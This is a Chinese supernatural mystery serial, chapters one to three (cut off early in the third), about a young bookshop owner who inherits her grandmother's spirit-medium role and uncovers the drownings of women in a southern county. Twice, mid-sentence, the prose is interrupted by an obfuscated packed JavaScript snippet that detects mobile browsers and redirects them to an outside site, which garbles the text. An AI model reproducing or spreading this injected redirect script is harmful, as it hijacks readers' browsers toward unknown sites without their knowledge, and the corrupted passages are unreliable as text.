《问阴婆》 1. 第 1 章 我叫宋溪月,28岁,一家赔本独立书店的老板。 同时也是我家第七代“问阴婆”——一个我听了就想把姥姥从土里刨出来问问她是不是封建糟粕吃多了的头衔。 我的人生目标:守住书店(虽然赔钱),忘掉姥姥那套神神叨叨,做个正常的、唯物主义的、偶尔为房租发愁的都市女青年。 直到晚上九点四十七分,那个叫苏怀薇的女人,带着一身河水的腥气和一句“救救我”,推开了我书店的门。 我的平凡人生,从那双她描述的、自己会走路的红色绣花鞋开始,裂开了一道缝。 (OS:很好,本月KPI:赔钱。新增KPI:见鬼。) --- (一) 门推开的时候,风铃没响。很好,这破玩意儿也终于坏了,维修费+50。 我瘫在柜台后,第一百零七次计算这个月亏损额,脑子盘算着是把姥姥留下的破铜镜卖了,还是把我自己挂二手平台。(标注:前者可能被当诈骗,后者肯定违法。宋溪月,你的人生选项总是这么刑。) 进来的是个女人。三十多岁,穿着质地精良的羊绒衫和长裤,拎着个看起来能买下我半个书店的包。但她整个人状态……像一件刚从水里捞起来、没来得及拧干就硬套上名牌的奢侈品。 苍白,潮湿,魂不守舍。 “请问……是宋溪月,宋老师吗?”她声音有点飘,眼神不太敢直视我。 (OS:来了。经典三件套:推销、借钱、找神棍姥姥的旧账。启动防御模式:微笑,拒绝,请她出去。) “我是。书店打烊了,买书请明天。”我语气平淡,开始整理根本不需要整理的柜台。 “我不是来买书的。”她往前挪了两步,一股更清晰的、混合着河水淤泥的湿冷气息飘过来,“我……我听说,您能解决一些……‘不干净’的问题。” 我手指一顿。(OS:完蛋。真是姥姥的孽债。她老人家拍拍屁股走了,留我在这儿替她应付这些相信世界上有鬼的客户?) “你找错人了。”我斩钉截铁,甚至挤出一个困惑的表情,“我就是个卖书的。你说的那些,得找寺庙、道观,或者……心理医生?”(战术补充:心理医生可能真有用。) “我找过!”她突然激动,声音拔高又猛地压下去,像怕惊动什么,“寺庙的符水喝到反胃,心理医生的量表做到满分,都没用!”她眼圈瞬间红了,那点强撑的体面碎了一地,“是‘清水巷’的陈婆婆临终前,指了我这条路。她说,只有文秀娥的外孙女,真正的‘问阴婆’,能帮我。” 文秀娥。我姥姥的名字。 心脏像被看不见的手攥了一下。陈婆婆,姥姥旧识,去年走的。 (OS:姥姥,您的人际关系网到底有多阴间?) 我沉默了几秒,打量她。不是骗子,那种恐惧浸到骨头缝里的状态,演不出来。更关键的是,她提到“清水巷”时,我掌心那道淡得几乎看不见的、姥姥说是“炙痕”的印记,微微发烫。 ……淦。 祖传的警报器响了。 “坐下说吧。”我叹了口气,指了指旁边的旧沙发,“收费的,不便宜。而且,我不保证有用。先说说,怎么回事?” (二) 她叫苏怀薇,35岁,建筑设计师,业内小有名气。 “我连续三个月,几乎每晚都做同一个梦。”她捧着一次性纸杯,热水蒸气氤氲着她憔悴的脸,“梦里,我在一条河边。雾很大,看不清对岸。脚下是淤泥,很冷,一直陷进去。” “然后呢?” “然后……我会看到一双鞋。红色的绣花鞋,就放在河边的一块青石上。”她手指无意识地在膝盖上画着线条,我瞥了一眼,是凌乱的水波纹,“很新,很艳,像等着谁去穿。但我心里知道,不能穿,穿了就完了。” “你没穿?” “我不敢。我就在河边走,想找路离开。但雾越来越浓,那条河……没有尽头。”她呼吸急促起来,“最近一次,一周前,我梦里回头……看到那双鞋,它自己动了。不是穿在脚上,就是空的鞋,鞋尖对着我,一步一步,从青石上走下来,走进淤泥里,朝我走过来……” 她猛地打了个寒颤,纸杯里的水晃出来一些。 “我被吓醒了,一身冷汗。但……但事情没完。”她抬起头,眼里全是红血丝和惊恐,“第二天,我在我家门口,收到了一个匿名快递。里面……就是一双红色的绣花鞋。和梦里的一模一样!” (OS:6。现在闹鬼都走电商物流了?这么紧跟时代步伐?) “鞋呢?”我问。 “我……我扔了。扔进了小区垃圾桶。”她瑟缩了一下,“可是第三天,它又回来了。就摆在我卧室门口。”她快要哭出来,“我换了锁,报了警,警察查了监控,什么也没发现。它就像……凭空出现。” 掌心越来越烫。这不是好兆头。 “除了梦和鞋,还有什么特别的?味道?声音?或者……梦里有其他人吗?” 苏怀薇努力回想:“有水声。不是流水声,是……像什么东西一下下敲打木头的闷响。梆……梆……梆……很有规律。还有……”她皱紧眉,“有一次,雾散开一点点,我看到对岸好像有个旧戏台,模模糊糊的,上面……好像挂着红布?” 戏台。红布。 我脑子里的某根弦“叮”一声轻响。姥姥那本不准我碰的破手札里,好像提过类似的东西。 “苏小姐,”我身体微微前倾,看着她眼睛,“你,或者你的家人,祖籍是不是在南方?有没有一个叫‘清河县’的地方?” 苏怀薇愣住了,随即是更深的惊惧:“你……你怎么知道?我母亲……是清河县人。但她很早就离开家乡,嫁到城里,后来病逝了。她很少提老家的事。” (OS:破案了。又是姥姥的业务范围。她老人家是给清河县开了终身VIP吗?) “你母亲叫什么名字?” “赵秀兰。” 赵秀兰。 这个名字像一颗冰冷的石子投进我心里,激起的不是水花,是汹涌的、带着铁锈味的暗流。我绝对在哪里听过,不是寻常的听过,是伴随着姥姥沉重的叹息、昏暗的煤油灯、以及某种压抑的悲泣声…… 在我记忆深处。 我努力维持表情平静:“苏小姐,情况我大概了解了。你这事,确实有点……特别。常规办法估计没用。” “您有办法,对吗?”她像抓住救命稻草。 办法?我有个屁的办法。我只有姥姥留下的几本鬼画符一样的破书,一堆用途不明的古怪器物,以及我本人对此深恶痛绝的排斥。 但掌心那道痕,烫得我有点心烦意乱。 “……我可以试试。”鬼使神差地,我听到自己说,“但我需要准备一些东西。另外,收费按照问题复杂程度和时间来。先付定金,不接受退款。” (OS:宋溪月你疯了!你一个坚信科学的书店老板要改行跳大神了?!) “多少都行!”苏怀薇几乎是立刻掏出手机要转账。 (三) 送走苏怀薇,约好明晚这个时间她再来,我锁上店门,感觉像打完一场仗。 累。主要是心累。 我瘫在沙发里,看着天花板。(OS:这叫什么事儿啊。红色绣花鞋,自己会动……这题材拍短视频都能火吧?#惊!都市女子每晚梦到鬼鞋跟踪#) 但吐槽归吐槽,我知道,我惹上麻烦了。 不是苏怀薇的麻烦,是我自己的。 我走进书店后面那个永远上锁的小房间——我称之为“姥姥的遗产陈列室兼封建迷信物资仓库”。打开灯,灰尘在光柱里跳舞。里面堆满了旧木箱、陶罐、一卷卷用红绳系着的泛黄纸张,还有各种晒干的草药,味道复杂得像打翻了中药铺。 我目标明确,走向最里面那个黑色的榉木匣子。 姥姥临终前,枯瘦的手抓着我的手腕,力气大得惊人:“月月……这个匣子……没到万不得已,别开。里面的东西……看了,就回不了头了。” 我当时哭着点头,心里想的是“姥姥您放心我绝对不碰这些封建糟粕”。 现在…… (OS:姥姥,对不住。您外孙女可能要回头了,因为前面好像没路了。) 匣子没锁,但扣得很紧。我费了点劲才打开。 里面没有金银财宝,只有几样零碎:一个边缘磨损的铜镜(就是我打算卖的那个),一个褪色发硬的深蓝色襁褓,一本薄薄的、线装的旧日记本,还有几样女子的旧物,一支素银簪子,一块绣着歪歪扭扭栀子花的手帕。 我拿起那本日记。纸页脆黄,翻开,是姥姥工整却有些稚嫩的字迹。不是她老年写的,像是年轻时的记录。 前面几页是一些零碎的节气、物候、简单的收支。直到某一页,字迹开始潦草,用力很深,几乎划破纸背: “……春枝没了。他们说她是失足落水。放屁!我看见了……那根本不是失足!他们把她按下去的!就因为她想考学,想离开这里!这群畜生!!!” “秋燕姐也被关进祠堂了……就因为她跟邻村那个知青说了几句话……吴茂源(这个名字被狠狠涂黑又写上)带的头,他们说他公正,公正个鬼!他是最狠的豺狼!” “梅芳婶肚子大了,偷偷哭求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182822|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我……我救不了她,我没用……我只能把她的东西藏起来,藏好……总有一天,总有一天……” 日记在这里中断了很多页。再往后,字迹变得极度冷静,甚至冷漠,记录着一些日期、名字,和简短的词:“水”、“闭”、“远”、“寂”。 像某种密码。 我快速翻动着,心脏在胸腔里咚咚狂跳。这些陌生的名字,压抑的愤怒和绝望,隔着数十年的时光,透过发霉的纸页,扼住了我的喉咙。 直到我翻到最后一页有字的地方。 那页只写了两行字,墨迹很新,是姥姥晚年虚弱但坚定的笔迹: “月月,如果你看到这里,说明‘她们’找到你了。” “别怕。顺着‘线’往回走。鞋、河、戏台、红布……找到第一个,就能找到埋在所有人心里的‘真相’。钥匙在……” 字迹在这里戛然而止。 钥匙在哪儿?!姥姥您倒是写完啊!(OS:这种断章狗行为是跟谁学的!) 我气得想摔本子,但忍住了。深呼吸,再深呼吸。 线索很清楚了。苏怀薇的梦,她母亲赵秀兰的名字,姥姥日记里那些惨死的女子……还有姥姥说的,“她们”找到了我。 “她们”是谁?是苏怀薇梦里那些穿不上绣花鞋的影子?还是日记里那些被“水”、“闭”、“远”、“寂”带走的春枝、秋燕、梅芳? (OS:好家伙,我直接好家伙。我一个只想安稳赔钱卖书的,怎么突然就卷入跨时代女性悬疑惨案了?这剧情展开是不是太迅猛了?) 但有一点我很确定:我躲不掉了。 苏怀薇只是个开始。姥姥把这堆烂摊子留给我,不是让我继承书店的,是让我继承这该死的、沉重的“问阴”宿命。 我拿起那面冰冷的铜镜,看着镜中自己烦躁又认命的脸。 “行吧。”我对着镜子说,也是对冥冥中的姥姥说,“第一单,接了。就当……给书店创收了。” (四) 第二天晚上,苏怀薇准时来了,比昨天看起来更焦虑。 我把她带进小房间。房间里按照姥姥手札里某个“安神静心”的图示简单布置了一下(其实就是点了根味道奇怪的香,摆了几个铜盘和清水),有没有用不知道,氛围先拉满。 “我需要你的一滴血,和一根头发。”我尽量让自己显得专业又高深(OS:其实就是照着电视剧里神婆的样子瞎掰),“滴在镜面上,然后,集中精神回想你梦里那条河,越想细节越好。” 苏怀薇照做了。指尖血珠滚落在冰凉的铜镜上,并未散开,而是诡异地凝住。我让她握住铜镜两端。 “闭上眼睛。”我说,自己也闭上眼,将手掌轻轻覆盖在她握着镜子的手背上。 掌心的炙痕,瞬间滚烫。 几乎在同时,一些破碎的、混乱的画面和声音,强行挤进我的脑海—— 冰冷的河水,淹没口鼻…… 一双粗糙有力的大手,死死按着头顶…… 远处,真的有戏台,飘着破败的红布,台下影影绰绰,寂静无声…… 一双红色的绣花鞋,崭新地摆在青石上,鞋尖对着浑浊的河水…… 一个年轻女人模糊的背影,站在雾里,回头,嘴唇开合,没有声音,但我‘听’懂了: “救救……我们……” 然后,那背影的面容瞬间清晰—— 我猛地抽回手,睁开眼睛,大口喘气,后背全是冷汗。 “宋老师?您看到了什么?”苏怀薇紧张地问。 我看着她,心脏还在狂跳。 我看到了。 那个回头求救的女人,那张脸……不是我姥姥文秀娥年轻时的样子。 那是另一个女人。眉眼间,依稀与眼前的苏怀薇,有五六分相似。 “……我好像,看到你母亲了。”我哑声说。 苏怀薇如遭雷击,僵在原地。 而我脑子里只有一个念头在尖叫: (OS:草(一种植物)。这根本不是简单的闹鬼。这是死了几十年的人,在通过她女儿,向我这个半吊子问阴婆,递状纸啊!) 铜镜的镜面,在我和苏怀薇的血滴旁,不知何时,竟凭空凝结出了一行极小、极淡的水痕字迹,转瞬即逝,但我看清了: “赵秀兰,河漂子,第三位。” 第三位? 那第一和第二是谁? 还有,谁在“数”? 我脖颈后的汗毛,一根根竖了起来。 (果然,当晚,苏怀薇发来微信:“宋老师,我又做梦了。这次……雾里多了好多人影。她们……都在看你。”) 2. 第 2 章 早上九点,我顶着一对堪比熊猫的黑眼圈,站在本市最大的旧货市场门口。 空气里混杂着尘土、旧木头和说不清的陈腐气味。 (OS:很好,从一个充满霉味的仓库,到另一个充满未知霉味的地方。宋溪月,你的生活品质真是稳中有降。) 我来找鞋。 不是苏怀薇梦里那双(希望不是),而是想看看,有没有类似的、老式的红色绣花鞋,也许能看出点门道。 毕竟,知己知彼,百战不……不被鬼吓死。 --- (一) 市场里人声鼎沸,摊主们吆喝着“清朝的碗!”“民国的梳妆匣!”,真假掺半,水分比昨天的台风还大。 我沿着杂乱的摊位慢慢逛,眼睛扫过那些堆成山的旧物。瓷器、木雕、老书、破烂家具……就是没看到专门卖旧鞋的。 正当我觉得这趟可能要白给时,角落一个不起眼的小摊吸引了我的注意。 摊主是个干瘦的老头,戴着老花镜,正就着昏暗的灯光修补一个缺口的陶罐。他的摊位上东西很少,几件看不出年代的木雕,几个锈迹斑斑的金属物件,还有……一个敞开着的、同样旧兮兮的木盒子,里面似乎装着些零碎布料。 我走过去,蹲下身。 老头头也没抬:“自己看,不还价。” 我应了一声,目光落在那木盒里。里面是一些褪色的刺绣小件,荷包、手帕、袜套什么的,做工粗糙,但能看出是旧物。 没有鞋。 我有点失望,正准备起身,老头忽然慢悠悠开口:“姑娘,找什么特别的?” 我犹豫了一下:“老师傅,您这儿……有没有老式的绣花鞋?红色的那种。” 老头手上的动作停了停,从老花镜上方瞥了我一眼,眼神有点浑浊,又有点说不清的锐利:“红色绣花鞋?那可是老时候出嫁闺女穿的喜物,也是……有些地方的丧物。你找它干嘛?” 我心里一紧。(OS:丧物?)脸上尽量平静:“哦,有个民俗研究的朋友托我看看,做点资料收集。” “民俗研究?”老头扯了扯嘴角,像是笑了,又像是没笑,“研究到‘那边’去了?” 这话里有话。 “老师傅,您是不是知道点什么?”我试探着问。 老头放下手里的陶罐和工具,擦了擦手,从身后的破麻袋里,摸索出一个用旧报纸包着的、长长的东西。 他一层层揭开报纸。 露出一双鞋。 红色的绣花鞋。 缎面,颜色暗沉发旧,不像苏怀薇梦里那么鲜艳,但款式……极其相似。鞋头绣的也是水鸟(或者鸳鸯),针脚细密,透着一股子年深日久的压抑感。 我呼吸一滞,掌心的炙痕微微发热。 “这……这鞋哪来的?”我问,声音有点干。 “收来的。”老头含糊地说,“好些年前了,从南边乡下收来的。一直没人要,嫌晦气。”他看着我,“你要研究?便宜点给你。” “我能看看吗?”我伸出手。 老头把鞋递过来。 入手冰凉,沉甸甸的,不像普通布鞋的重量。我仔细翻看,鞋底磨损严重,但鞋面保存尚可。我下意识地捏了捏鞋帮,又摸了摸内衬…… 内衬的布料,似乎有点异常的硬度,像是里面垫了什么东西。 我小心地翻开鞋口,借着昏暗的光线看向内衬。 在内衬靠近脚后跟的位置,布料颜色略深,上面似乎有极其模糊的、浅色的绣线痕迹。 我眯起眼睛,几乎把脸凑上去,才勉强辨认出那是两个绣得极小的字: “秀兰”。 旁边,还有一行更小、更淡的数字: “1978.3.15”。 赵秀兰!1978年3月15日! 苏怀薇母亲的名字和日期! 这双鞋……难道真是她母亲的遗物?怎么会流落到旧货市场?! 老头看我脸色不对,问道:“怎么?这鞋有问题?” 我强压住心惊肉跳,抬起头:“老师傅,这鞋……您是从南边具体哪个地方收来的?还记得吗?” 老头皱起眉,努力回想:“太久了……好像是个叫‘清’什么的县……对了,清河县。那边以前老物件多,但邪性玩意儿也多,我们这行不太爱去。” 又是清河县! “当时卖鞋给您的是什么人?”我追问。 “一个老太婆,看着挺穷,眼神躲躲闪闪的,拿了鞋换了点粮食票就走了,话都没说几句。”老头摇摇头,“我看这鞋做工还行,就当收个旧货,没想到压箱底这么多年。” 我捏着这双冰凉的绣花鞋,感觉像是捏着一块燃烧的炭。 “这鞋……我要了。”我说,“多少钱?” 老头报了个价,不算贵。我立刻付钱,用原来的旧报纸重新包好,像抱着个炸弹一样迅速离开了旧货市场。 (二) 回到书店,我把门反锁,拉上窗帘,在柜台灯下再次仔细查看这双鞋。 “秀兰”,“1978.3.15”。 日期很具体。是赵秀兰的生日?还是……她的忌日? 苏怀薇说她母亲是病逝,但具体时间她也不清楚,只知道很早。 如果1978年3月15日是忌日,那赵秀兰去世时还很年轻。 而“河漂子,第三位”……是不是意味着,在1978年3月15日,赵秀兰成了“水”的第三个受害者? 那前两位是谁?春枝和秋燕?她们的日期呢? 姥姥日记里只有名字和模糊的“水”、“闭”标记,没有具体日期。 这双鞋的出现,把模糊的悲剧,钉上了一个具体的时间刻度。 更让我不安的是,这双鞋辗转多年,竟然就这么“恰好”被我找到了?是姥姥说的“线”在牵引,还是……有什么东西,想让我看到这个? 我把鞋小心收进一个纸盒,塞到柜台下面。掌心的炙痕还在微微发热,提醒我这一切不是幻觉。 下午,书店门被推开,风铃响了——这次修好了。 进来的是楚遥。 她换了便服,牛仔裤,白T恤,外面套了件黑色皮夹克,短发利落,手里拎着两杯咖啡。脸上带着惯常的、有点懒散又有点锐气的表情。 “哟,宋老板,大白天拉什么窗帘?搞非法经营呢?”她把一杯咖啡顿在我面前,自己拉开椅子坐下,长腿一伸。 (OS:救星来了!科学的光,唯物主义的光!) “你怎么来了?局里不忙?”我接过咖啡,是我常喝的美式,没加糖。 “刚出完一个现场,路过,看看你死了没。”楚遥喝了一口自己的拿铁,打量我,“脸色这么差,昨晚做贼去了?还是书店又赔了?” “比做贼刺激。”我压低声音,把昨晚苏怀薇的事、铜镜里的画面、水痕字迹,以及今天找到绣花鞋和上面绣字的事,快速跟她讲了一遍。 楚遥的表情,从漫不经心,到微微皱眉,再到彻底严肃。 她放下咖啡杯:“鞋呢?我看看。” 我把鞋盒拿出来。 楚遥戴上随身带的橡胶手套(法医的职业习惯),拿起鞋,仔细查看,特别是内衬的绣字和日期。 “1978年3月15日……”她沉吟,“这个日期很具体。如果真是赵秀兰的遗物,或许能通过户籍系统查一下。不过年代太久,又是小地方,不一定有电子记录。” “能查到她具体的死亡信息吗?”我问。 “难。非正常死亡或失踪的,如果当时没立案或者立案后销案了,记录可能更混乱。”楚遥看着我,“宋溪月,你确定你要掺和进这种事?听起来可不是简单的‘驱邪’,可能牵扯到陈年旧案,甚至……命案。” “我也不想啊!”我抓了抓头发,“但你觉得我现在撒手,那双梦里的鞋会放过苏怀薇?那个‘第三位’的水痕字迹是跟我闹着玩呢?我掌心这玩意儿……”我伸出手给她看那道淡痕,“它都烫了!报警了!” 楚遥盯着我掌心,眼神复杂。她是我发小,知道我家这点破事,也一直对此嗤之以鼻。 “所以,你打算怎么办?真给你姥姥当接班人,开坛做法?”她语气带着调侃,但眼神是认真的。 “我不知道。”我颓然坐下,“但苏怀薇明晚还来,我得给她个交代。至少……再试试看能不能‘看’到更多。姥姥的日记里提到‘钥匙’……可能就在这些旧物里。” “需要我帮忙吗?”楚遥问,“以朋友身份。如果需要查什么档案或者信息,我可以试试。但提前说好,我依然认为这里面有人为装神弄鬼的可能性,而且不小。” “求之不得!”我立刻说,“有楚大法医坐镇,我底气都足点。” 楚遥白了我一眼:“少拍马屁。对了,你昨晚‘看’到的画面里,那个按着赵秀兰头的男人,有什么特征吗?” 我努力回忆:“很模糊……手很大,很粗糙,像干重活的。衣服……好像是深色的,旧式的中山装或者工装?别的……看不清。” 楚遥点点头,没再说什么,但我知道她记下了。 我们又聊了几句,她局里有事先走了。临走前,她回头对我说:“宋溪月,小心点。如果感觉不对劲,立刻打电话给我。还有……你姥姥那些东西,别乱用。” 我看着她离开的背影,心里稍微踏实了一点。 至少,我不是完全一个人。 (三) 楚遥走后,书店恢复了安静。 我坐在柜台后,看着窗外渐暗的天色,思绪飘回了很久以前。 关于姥姥的记忆,其实并不多。她大部分时间沉默寡言,待在那个小房间里,摆弄她的那些“家伙事”。我妈去世早,我爸后来也离开了,我是姥姥带大的。 但她从不让我碰那些东西,也不准我问。只反复叮嘱:“月月,好好读书,做个普通人。离这些远的、阴的东西远点。” 有一次,我大概十岁左右,出于好奇,偷偷溜进她的小房间,想拿那个铜镜照照玩。刚碰到镜子,就被突然出现的姥姥一把抓住手腕。 我从没见过她那么生气,那么……恐惧。 她脸色煞白,嘴唇哆嗦着,夺过铜镜,厉声问我:“谁让你碰这个的?!” 我吓哭了。 她把我搂进怀里,身子还在发颤,声音却软下来,带着无尽的疲惫和悲伤:“月月,听话……这东西……碰了,就脏了手,脏了命……姥姥不想你走上这条路……” 那是我记忆中,关于“问阴婆”身份最清晰的一次冲突。后来,直到她去世,我们都默契地不再提起。 现在,我不仅碰了,还可能要“用”了。 姥姥,您会在天上看着我吗?会失望,还是……无奈? 傍晚,苏怀薇又发来微信,语气比昨天更惊慌:“宋老师,我下午在家整理旧物,找到了我妈留下的一本老相册。里面有一张她年轻时在老家河边拍的照片……背景里,远处河滩上,好像就有那个戏台的轮廓!虽然很模糊,但我越看越像!” 她还发来了那张照片的翻拍。 黑白照片,边缘泛黄。年轻的赵秀兰站在河边,笑容青涩。在她身后远处,河对岸的景物模糊成一团,但仔细分辨,确实有一个类似高台建筑的影子,上面似乎有飞扬的檐角。 戏台…… 梦里的戏台,真的存在过。 我把照片放大,再放大。在戏台轮廓的更远处,依稀能看到一些黑点,像是……人影? 心脏咚咚直跳。 我把照片保存下来,回复苏怀薇:“照片很有用。明天晚上,我们可能需要尝试更深一点的‘问阴’。你做好心理准备,可能会看到更多……关于你母亲过去的片段。” 苏怀薇很快回复:“我明白。只要能让这噩梦结束,我什么都愿意试。宋老师,拜托您了。” 放下手机,我看向柜台下那个装着绣花鞋的纸盒,又看向小房间紧闭的门。 钥匙……到底在哪里? 姥姥,您给我指了路,却把钥匙藏了起来。 是考验,还是……保护? (四) 第二天一整天,我都有些心神不宁。 我翻遍了姥姥留下的其他东西,那支素银簪子,那块绣着“盼归”的手帕,那个褪色的襁褓……每一样都透着陈旧的故事感,但我摸来摸去,除了偶尔一点冰凉的触感,没有更多发现。 难道“钥匙”不是这些实物? 还是说,需要特定的条件或方式才能“打开”? 楚遥下午打来电话,背景音有点嘈杂:“宋溪月,我托档案室的朋友帮忙留意了一下。清河县1978年前后的非正常死亡记录,电子化的很少,而且权限很高。不过有个模糊的信息……” “什么?”我握紧手机。 “1978年到1982年之间,清河县及周边乡镇,上报的年轻女性意外死亡或失踪案例,有七例。但后续处理记录非常简略,有的甚至没有家属追问的记录。上面好像有‘特别关注’的标记,要求‘妥善处理,维护稳定’。”楚遥的声音压低了,“这不太正常。” 七例……和姥姥日记里那些名字,数量对得上吗?春枝,秋燕,梅芳,赵秀兰……还有三个? “死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182823|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡原因呢?”我问。 “记录很模糊,溺水、急病、意外居多。尸检报告和现场照片基本找不到。”楚遥顿了顿,“还有,你提到的吴茂源,我查了一下,当时确实是清河县的副镇长,分管民政、治安这些。2003年病逝。” “病逝?” “记录上是这样。但时间有点久,细节难查了。”楚遥说,“你这边今晚什么安排?需要我过去吗?” 我想了想:“暂时不用。你先忙你的。有需要我给你打电话。” “行,自己小心。记住,有任何不对劲,立刻停止,报警。” 挂了电话,我看着窗外渐浓的夜色。 七位女性。特别关注。妥善处理。吴茂源。 这些碎片化的信息,拼凑出一幅令人不寒而栗的图景。 晚上,苏怀薇准时到来。她看起来更加憔悴,眼下的乌青连粉底都盖不住。 “宋老师,我昨晚……几乎没睡。”她声音沙哑,“一闭眼就是河,雾,还有……好多看不清脸的人影在岸边走。” 我点点头,没多说什么,把她带进小房间。 今晚,我准备更充分一些。按照姥姥手札里一个更复杂的“溯源问阴”图示,重新布置了房间。换了另一种味道更沉静的香,在铜镜周围摆上了清水、白米、还有那支素银簪子——不知道为什么,我觉得它可能有用。 “苏小姐,今晚我们可能需要触及更深层的东西。”我看着她,“过程可能会更……难受。如果你中途受不了,立刻喊停。” 苏怀薇坚定地点点头:“我能坚持。” 和昨晚一样的步骤。她的血滴在铜镜上,我们双手交叠。 我闭上眼睛,凝神静气,不再是被动接收,而是主动将意念沿着掌心的炙痕,探向铜镜,探向那滴血所连接的、关于赵秀兰的过往。 炙痕滚烫。 画面再次涌来,但比昨晚更清晰,更连贯—— 年轻的赵秀兰在河边洗衣,哼着歌。 几个男人的身影从树林后走出来,围住了她。 拉扯,挣扎,她惊恐的脸。 被拖向河边更深处的芦苇荡…… 其中一个男人的脸,在扭打中侧过来一瞬——方脸,浓眉,嘴角有一颗黑痣!眼神凶狠! 然后是被死死按入水中的窒息,挣扎的手拍打水面,气泡上涌…… 最后,是她的身体像一段失去生命的木头,在昏暗的河水中缓缓下沉……远处,那个破败的戏台轮廓,静静地立在暮色中。 画面戛然而止。 我猛地抽回手,剧烈咳嗽起来,仿佛自己也呛了水。苏怀薇更是直接瘫软在椅子上,面无血色,眼泪无声地流。 “我……我看到……”她语无伦次,“那个男人……脸……” “你也看到了?”我喘着气问。 她用力点头,满脸恐惧:“是他……是他害了我妈!” 就在这时,摆在铜镜旁的那支素银簪子,突然自己轻轻震动了一下,发出极其微弱的、仿佛金属低鸣的“嗡”声。 紧接着,铜镜的镜面,并没有凝结水痕,而是映照出了新的影像! 不是赵秀兰的记忆。 是……另一段陌生的场景: 一个昏暗的、像祠堂的房间,一个穿着旧式碎花上衣的年轻女孩(不是赵秀兰),被绑在柱子上,嘴里塞着布,满脸泪痕,惊恐地看着面前几个模糊的男人身影。其中一个男人手里,似乎拿着什么东西…… 画面一闪而过。 镜面恢复原状。 我和苏怀薇都愣住了。 “刚才……那是谁?”苏怀薇颤声问。 我看向那支停止震动的素银簪子。 它刚才,似乎被赵秀兰强烈的死亡记忆激发,连通了另一个受害者的片段? 这支簪子,属于“第二位”?还是“第一位”? 姥姥留下的这些旧物,果然不仅仅是遗物,它们是……通往其他受害者记忆的“钥匙”或者“触发器”? 这个发现让我既震撼又恐惧。 “苏小姐,”我稳定了一下心神,“我们可能……触及到更庞大的东西了。你母亲,不是唯一的一个。” 苏怀薇捂住嘴,眼泪再次涌出。 我拿起那支冰凉簪子,感受着它残留的、细微的波动。 钥匙……难道就是这些“她们”的遗物本身? 用这些遗物,配合问阴婆的血脉和仪式,就能打开一扇扇通往过去惨剧的门? 那集齐所有“钥匙”,是不是就能看到完整的真相? 而“流水簿”上“第三位”的名号……是否意味着,苏怀薇母亲的“钥匙”(绣花鞋)被激活后,下一个受害者的“钥匙”(比如这支簪子),就会开始显现它的力量? 仿佛是为了印证我的猜想,掌心的炙痕,再次传来明确的灼热感,这次,热流隐隐指向了那个褪色的襁褓。 (OS:所以……下一个要来的,是和“婴儿”有关的“第一位”?) 我看向惊魂未定的苏怀薇,知道今晚不能再继续了。 “苏小姐,今晚先到这里。你回去好好休息,什么都别想。有进展我再联系你。” 送走几乎虚脱的苏怀薇,我独自回到小房间,看着铜镜、簪子、襁褓,还有那本日记。 线索越来越多,拼图正在一块块浮现。 但危险的感觉,也越来越清晰。 我触碰的,不仅仅是个体的冤屈,而是一个被深埋的、系统的罪恶。 而我,好像已经没办法回头了。 --- 深夜,书店打烊许久。 我睡不着,坐在柜台后整理思绪,把今天的发现草草记在本子上。 就在我准备关灯上楼休息时,书店临街的玻璃窗上,忽然传来“嗒”的一声轻响。 像是有什么小东西打在了玻璃上。 我抬头看去。 窗外昏暗的路灯下,空无一人。 但玻璃窗上,正对着我坐的位置,贴着一张小小的、方形的黄色纸片。 又是一张符纸? 和之前出现在苏怀薇床头的那种一样? 我浑身汗毛倒竖,猛地站起来,冲到门边,却不敢立刻开门。 透过门缝往外看,街道寂静。 那张符纸,在玻璃上贴得稳稳的。 在路灯惨白的光线下,符纸中央那个水波图案,幽幽地反射着光。 下面,似乎有字迹正在慢慢渗出来,变成暗红色: `“多管闲事。”` `“警告一次。”` `“——清理者”` 3. 第 3 章 那张黄色符纸像块丑陋的补丁,死死贴在书店的玻璃窗上。 暗红色的字迹“多管闲事”、“警告一次”和落款“——清理者”,在路灯下幽幽反光,看得我脊背发凉。 (OS:清理者?这年头□□都这么有文化了吗?还带预告的?) 我捏着手机,指尖悬在楚遥的号码上,犹豫了三秒,还是没拨出去。 大半夜的,为一张破纸吵醒她,估计得挨骂。而且……万一这玩意儿真是“那边”的,楚遥来了也没用,可能还把她拖下水。 我定了定神,强迫自己冷静。(OS:宋溪月,你是问阴婆的继承人(自封的),不是被一张纸吓哭的菜鸟。) 先……把它弄下来看看。 --- (一) 我戴上一次性手套(感谢楚遥以前落在这儿的),拿了把裁纸刀,小心翼翼地把门开了一条缝。 夜风灌进来,带着初秋的凉意。街道空荡荡的,只有路灯投下昏黄的光晕。 符纸贴得很牢,边缘没有胶水痕迹,像是……自己吸在玻璃上的。我屏住呼吸,用刀尖轻轻挑起一角。 “嗤……” 一声极其轻微的、仿佛泄气的声音,符纸应声脱落,飘落在我掌心。 入手的感觉很奇怪。纸是粗糙的黄表纸,但异常干燥,甚至有点脆。上面用暗红色“墨水”画的符文和那几行字,颜色已经稳定,不再渗出。凑近闻,有股极淡的、难以形容的腥气,不是血,更像……铁锈混合着潮湿泥土的味道。 我赶紧缩回店里,关上门,反锁。把符纸放在柜台的白纸上,打开台灯仔细研究。 符文扭曲复杂,中央的水波图案尤其显眼。我回忆姥姥手札里有没有类似的东西,但印象模糊。倒是那几行字…… “多管闲事。”——是针对我接手苏怀薇的委托? 